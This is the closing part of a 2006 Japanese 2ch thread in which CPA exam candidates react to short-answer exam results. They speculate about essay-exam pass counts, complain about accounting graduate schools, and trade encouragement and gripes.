899 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:23:33 ID:???
>>894
アカスク生は所詮雑魚キャラ

900 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:23:48 ID:???
>>897
一般の合格率をしたまわっているけどw

901 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:24:25 ID:???
ブログは短答直後から更新止まってるのも結構あるしね

902 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:25:01 ID:???
>>900
下回る力しかないから大学院行ってるんだろう。

903 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:25:22 ID:???
確かに5000人は多すぎるよな



904 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:25:34 ID:???
去年合格
今年不合格

死にたい・・・
直前に急病になって試験3日前までの2週間ノーベンだった。
言い訳にならないけど。

905 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:26:30 ID:???
短答落ちは今年からできる公認不正検査士でもやってみれば

906 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:26:31 ID:???
>>902
でもそれじゃ、論文なんて到底無理なんじゃねえの?
そういや阿部ちゃんはアカスクをやたら否定してるなw

907 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:27:10 ID:???
アカスク1年生で担当受かったら、卒業するいみなくね?

908 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:27:47 ID:???
5000人は多すぎw
自習室、答練人大杉

909 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:27:44 ID:???
試験委員を増員したことにより10000通までの採点が可能になったようだ。
大昔は10000通を各科目2人の試験委員でやってたらしいから。
今年9500人受験して2000人の合格者がでたとしたら来年の短答合格者は
2500人前後になるんじゃないかな?

910 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:29:16 ID:???
5000人は多すぎるけど72の自分は去年人数なら落ちていたので複雑な気分だ

911 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:29:46 ID:???
>>893
どっちにしても今年受かってほんとよかったよな


912 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:30:18 ID:???
うちは辺境大原だから自習室はどっちみちガラガラだけどね

913 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:30:56 ID:???
来年は相当絞られる悪寒


914 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:31:39 ID:???
来年の担当受験者16000-5000+1500(入門増加分)=12500

合格者3000-3500

915 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:32:44 ID:???
昨年基準だと73、74だろ?
69点の今年初受験の後輩に「先輩、短答って意外と余裕ッスね。論文がんばりましょう!」
旧短答の厳しさを知らない馬鹿からメールをもらった。。。マジウザイんだけど。

916 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:33:56 ID:dA4LwbN1
もうダメポ。

917 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:34:47 ID:???
今年の短刀落ちのやばいところ
@5月にあわせて短刀の勉強しなきゃなんない
→基準の読み込みや簿記の帳簿、製造業など…
A合格者減る可能性あり
→アカスク本格参戦もあり
B論文科目合格で全ての科目で平均以上とるのは困難
→しかも今年受かったやつのが来年受かるやつより相対的に優秀
C税理士簿財受験者増で難化
→ちなみに俺は短刀受かったが全力でぶっこんでくんで夜露死苦

918 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:37:07 ID:dA4LwbN1
今回五千人も受かってるけどみんな論文対策は万全?俺は租税がまだ固まってない↓

919 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:37:43 ID:???
今年担当大杉というが、
向こうは全て織り込み済みなんだから来年以降あたふたすることもないでしょ

920 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:38:26 ID:???
>>917
1.基準の読み込みは論文でも必要。前文からばっちりでることもある。
負担は企業法向けのべんきょうくらいだが、今年のような問題ならそれも余り必要ない。

2.合格者は確実に減るが、今年合格者はいなくなるので無問題

3.短答とおっても毎年論文落ちは山ほどいる

4.短答不合格者は簿財は殆ど受からないから無問題

921 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:39:05 ID:???
まあ、底力のあるヴェテ以外は来年短答厳しいだろう

922 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:39:17 ID:???
やっぱ今から一括合格あきらめて2〜3科目に絞るのはもったいない?
死ぬ気でやれば一括合格可能?

923 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:40:33 ID:???
>>922
科目合格がどれだけ出るのかも不明なんだし、
死ぬ気で全部やったほうがいいかと。

924 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:40:50 ID:0amHbqEh
もうダメダメぽ

925 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:41:11 ID:???
>>919
受験生が減ったらあたふたするでしょ
国民年金の少子化みたいにさ
前提がぐらぐらだから

926 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:41:17 ID:???
一括狙いか科目狙いかはともかく直前期の勉強の効果が大きいのは
理論3科目&租税と管理の理論分野でしょう

927 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:41:33 ID:dA4LwbN1
もうダメダメダメぽ。これからオレはどこに行くのか。

928 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:41:34 ID:???
>>923
だよね。ありがとう!お前も頑張れよ!

929 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:42:10 ID:???
今年受からせ杉と言うなら
来年は楽という事になるじゃんw

930 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:42:35 ID:???
今年の短答合格しても価値低そうだから
税理士の簿財受けといた方がいいか
それとも論文に集中した方がいいか・・・

931 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:43:14 ID:???
>>920
短答受ける精神的・肉体的負担は計り知れないものがあるだろ
俺なんかまだ疲れがぬけないし・・・

932 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:43:27 ID:???
アカスクや免除で司法試験になるかもな。
この試験もリスクだけ高い試験になるんかな?

一般受験生は相当の努力と根性が必要かもな。
俺なら今年落ちてたら正直撤退考えた。

933 :???:2006/07/05(水) 15:44:27 ID:???
69か....

934 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:45:44 ID:???
税理の簿財は論文の前哨戦として受ける


935 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:46:02 ID:???
っていうか〜タックで71点でB判定で、マジうかれてたら、68点で不合格だよ・・・
俺と同じような人いる?
俺こそもうダメダメダメポだよ(´。`)

936 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:46:40 ID:???
>>935
撤退すんの?

937 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:47:46 ID:???
>>930
あ、俺も一日目の簿財消受ける予定。
迷ったけど一日だけだから。
論文が本命だからそれ以上はやらない。

938 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:49:31 ID:???
簿財は受けるからには全力で受ける。
ていうかできるやつはきちんと税理士申し込んでるし
短刀落ちは税理士すら申し込んでないとか
そんな落ちか?

939 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:49:41 ID:???
論文の一括合格者数は
士補込み受験者20,000×8.5%=1,700人

論文受験者数は約10,000人だから、論文の合格率は17%か…。キツい><

940 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:50:18 ID:???
俺も申し込んだし簿財は一応受けるかな。

941 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:51:55 ID:???
>>939
短刀落ち乙
来年の短刀はそうなるんじゃないか(笑)

942 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:54:11 ID:???
短答で7割落ちて論文でまた7割落ちる。
きびしいなー
短答合格しても殆どが論文落ちだもんな。

さあ、勉強勉強!

943 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:55:15 ID:???
なんで合格者調のとこに、
「会計専門職大学院修了者」の欄がないの?
大学院や大学については在学中と修了・卒業者の欄があるのに。


944 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:56:12 ID:???
>>943
まだいないからじゃないの

945 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:57:52 ID:???
CPAとお呼びっ!

946 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:58:16 ID:???
今年の短刀落ちと短刀合格はこんなに違うなんてね…。
来年は大変だ。
しかも授業料も高いでしょ?
踏んだり蹴ったり。泣き面に蜂だな。

947 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:58:24 ID:???
くぱぁ?

948 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:58:36 ID:???
>>942
志穂込みで1800人なんだから、3割も受からないんじゃない?
俺はそのためにも科目合格を見据えた計画を立ててるんだが。

949 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:00:03 ID:???
>>948
新たな煽りか?w

950 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:00:26 ID:???
仕事やめて25歳で初受験。
見事に散りました。

951 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:00:27 ID:???
志保込みで7000人受かるぉ
一括で2000人受かるぉ


ぶーん


952 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:00:44 ID:???
>>945
お前日テレ見てただろ

953 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:00:58 ID:???
>>946


短答受かっても駄目なやつはダメ

おれ03からずっと短答だけ受かってる。

954 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:02:26 ID:???
>>948
この流れなら志穂抜きで2000人受かるよこの試験。
それで来年あたりからは監査法人溢れ就職難となる。

955 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:03:25 ID:???
そのうちUSCPAが免許書き換えだけでOKとかになるよ

956 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:03:40 ID:???
すまん948は志穂除いて1800人の誤りだった。
論文突破率は35%くらいになるかと。

957 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:04:37 ID:???
>>952
うん。香里奈綺麗すぎ!!

958 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:04:58 ID:???
>>954
2000はうからせすぎ
今年論文分母を増やした意味がない

明らかに3割→3割を狙っていると思われる

959 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:05:57 ID:???
士補からどれくらいの合格者を出す予定なのかだな
士補合格者×60%位の人数になるんじゃないの?

960 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:06:17 ID:???
論文合格人数は全部希望的観測?


961 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:09:59 ID:???
>明らかに3割→3割を狙っていると思われる

お前が狙ってんだろ。
大体会計士増やさないと、金融庁の発表した2010年までに会計士〜人
みたいな目標達成できないじゃないかよ。

まぁ今年は増やしてまた法人からの要求が減る再来年以降とか合格者減るんだろうな。

962 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:10:12 ID:???
志保含んで最終合格者をカウントしてくれるんならまだ来年は就職難になるまい

963 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:11:19 ID:???
5000人だと運で落ちたとは言えんよな…
時間も問題も増えたし…

964 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:11:20 ID:???
たぶん志穂抜き合格率8.5%が最有力じゃない?
一応旧試験の合格率は過去4年間綺麗に8.5で保ってるし。
そうなれば志穂抜き合格者は1400人になるんだけど、少なすぎるか?


965 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:11:26 ID:???
>>961
会計士関連の不祥事に乗じて質の維持を謳いだすかもよん
故に目標見た津でもやむなし、みたいな

966 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:11:42 ID:???
>>961
質を担保できる一定率だよ、わかる?

それから法人側の事情など考慮されないのなんて
ここ何年かみてりゃわかるだろ

967 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:12:14 ID:???
>>964
1500は受かるんじゃ

968 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:13:03 ID:???
>>963
じゃあ漏れは去年は運で受かって今年は実力で落ちたのか!orz

969 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:13:40 ID:???
もう誰か・に電話して論文合格者何人にするつもりか聞いたらええやん!

970 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:14:58 ID:???
>>967
8.5で考えて1400はちょっと少なすぎる気もするしな。
金融庁が8.5に縛られず5万人計画を重視するのかだけどなあ。
そうしてくれたら志穂抜き1700、1800もありうるんだが。
そこがわからん。

971 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:19:42 ID:???
>>970
1500と予想します

972 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:19:58 ID:???
そうそう5万人計画だよ。
だから合格者2000もありうる。

973 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:20:47 ID:???
>>972
100%ないっす

974 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:22:30 ID:???
短答合格者増やしすぎ。論文を増やせ。そして氏ね

975 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:23:42 ID:???
阿部ちゃんは論文合格者数の予想については何も言ってないの?

976 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:26:17 ID:???
>>975
時期がきたらまたリークしてくれるんじゃないか。

977 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:27:22 ID:???
早稲田のリークは正しかったの?

978 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:28:06 ID:???
明日の官報に名前載るの?

979 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:28:58 ID:???
>>978
受験要項見ると、短答は番号のみみたい。
論文は番号と名前が載るみたいだ。

980 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:30:33 ID:Mb2Po9y7
論文試験でAS等からこれ以上情報が漏れないように・・・
公平に・・・

981 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:30:45 ID:???
>>979
そうか、サンクス!

982 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:32:14 ID:???
アカスク有利になるのは仕方ないだろうなあ。
大学も客商売だし。

983 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:32:33 ID:???
>>802
おめえもがんばれ

984 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:32:59 ID:???
でもさ論文受験者数を増やすのは当初の目論見から存在してたよね?確か
論文で精査して絞るべきでしょ、ってのがロジックだったはずだが
そもそも今までは採点能力の制約条件によって論文受験者数を絞り過ぎてたでしょ

だから最終一括合格者数は激少と言ってみるw

985 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:33:54 ID:g2IYtm+1
公認会計士をこれから2千から三千にするとのことだよ。
だから二千〜はありうる。ただ、今年受からなかったけれども・・・

986 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:35:39 ID:???
激少はありえないが激増もありえないな。
ここ数年とにたようなもんで落ち着くでしょ
科目別合格での最終合格を出したがってるのは明らかなんだし
いきなり一括合格増やす必要もないでそ

987 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:35:48 ID:???
次スレはいるのか?

988 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:35:50 ID:???
企業内会計士として吸収、なんて簿記1級の経理候補雇うのと同じじゃんな。
ほんと、何考えてんのか制度作ってる役人。

989 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:35:56 ID:???
バカスク馬鹿すぎだろ

990 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:36:18 ID:???
20年で3万5千人増でしょ
したら1700〜1800人ってとこじゃないでしょうか
死亡する人を入れて1800人くらい?

991 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:36:24 ID:???
需要も考えると微増か

992 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:36:45 ID:???
びちさんはネ申。
神様は短答30%×論文40%と予想なさった。
短答発表前に。だから2000人

993 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:37:15 ID:???
>>990
来年から科目別合格者+一括合格者になるから今年は比して少ないかと

994 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:38:06 ID:???
>>904
元気だして

995 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:38:07 ID:???
1650〜1750で手を打とう

996 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:39:18 ID:???
だが断る

997 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:40:01 ID:???
今夜ぐらいまではそこそこ伸びそうだから
次スレいるかな?

998 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:41:02 ID:???
>>935
TACのせいじゃないのになんかTACのせいにしたくなるね 自分がそれだったら

イランだかで人質に家族を人質にとられて、犯人じゃなくて政府を批判した家族のように

999 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:42:53 ID:???
1000なら論文合格者数は士補抜きで1821人

1000 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 16:43:14 ID:LToqy1Cv
1000なら明日の官報で合格ライン75に引き上げ

1001 :1001:Over 1000 Thread


−−−−−申し込み受付終了−−−−−
このスレッドの申し込みは1000を超えました。
以後は次のスレッドにてお申し込み下さい。
皆さんの努力が報われますように。

┏━━━━━━━━━┓
┃ 200X年度 XX試験  ┃
┃ 第774号 モナー.  .┃
┃ ┌──────┐ ┃
┃ │   ∩_∩   | ┃     会計全般試験@2ch掲示板
┃ │  ( ´∀` )  | ┃     http://school5.2ch.net/exam/ 
┃ │   (     . ). | ┃
┃ └──────┘ ┃
┗━━━━━━━━━┛



220 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)